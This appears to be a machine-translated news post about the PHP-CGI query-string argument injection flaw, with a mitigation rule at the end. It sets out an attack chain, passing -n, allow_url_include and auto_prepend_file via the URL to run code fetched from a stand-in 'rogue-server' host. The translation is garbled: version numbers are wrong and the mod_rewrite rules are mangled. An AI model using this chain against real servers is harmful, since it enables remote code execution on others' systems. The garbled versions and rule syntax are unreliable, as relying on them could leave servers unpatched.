A new hole, published by chance (read: unintentional) this week, has current PHP developers on their toes. The error, which has existed since at least 2004, is due to a faulty implementation of the CGI specification.

Some folks found the interesting bug while playing CTF at Nullcon 2012th. If you run PHP as a CGI or via mod_cgid plain (not FastCGI), you can pass command-line arguments like the “-s” switch (“show source”) to PHP via the query string

For example, for any PHP CGI script on your machine, you could see the source via “http://localhost/test.php?-s”. In this case, your server’s web access restrictions apply quietly. There is more parameters in the PHP CGI binary (try “php-cgi-h” for a list) Which can be used. Some are not available directly (for example, the infamous “-r” parameter that Allows to directly pass code for execution does not work), but others are ready for (ab) use.

Broken down, this means:

  • -N: Ignore existing php.ini file and set Suhosin therefore, open_basedir, allow_url_include and all other security settings override
  • D = allow_url_include On: Set “allow_url_include” from the default (off) On and allow execution of PHP code from URLs.
  • D = auto_prepend_file http://rogue-server/php-script.txt: Add the PHP file “http://rogue-server/php-script.txt” before each script execution, and execute it.


Why does the NEWS file for PHP 5.4.3/5.3.13 say: “Improve fix for PHP-CGI…” – Why don’t they say “Repair non working fix for PHP-CGI…”

Stefan Esser (@i0n1c)

In its update to PHP 5.4.2 and 3.5.12, the developers have made two mistakes: thus overlook the fact that leading whitespace in the query string for execution at certain particularly uncertain Wrapperscripts has no effect – and URL-encoded equals sign was ignored . The hour, there is no new version of PHP, but it should not be long in coming. An initially proposed by the PHP Group Bugfix via mod_rewrite rule was also flawed, is currently the recommended (in the opinion of the author of these lines correctly) the following rule:

$ RewriteCond% {QUERY_STRING} ^ [^ =] *

$ RewriteCond% {QUERY_STRING}% 2d | \ - [NC]

$ RewriteRule.? - [F, L]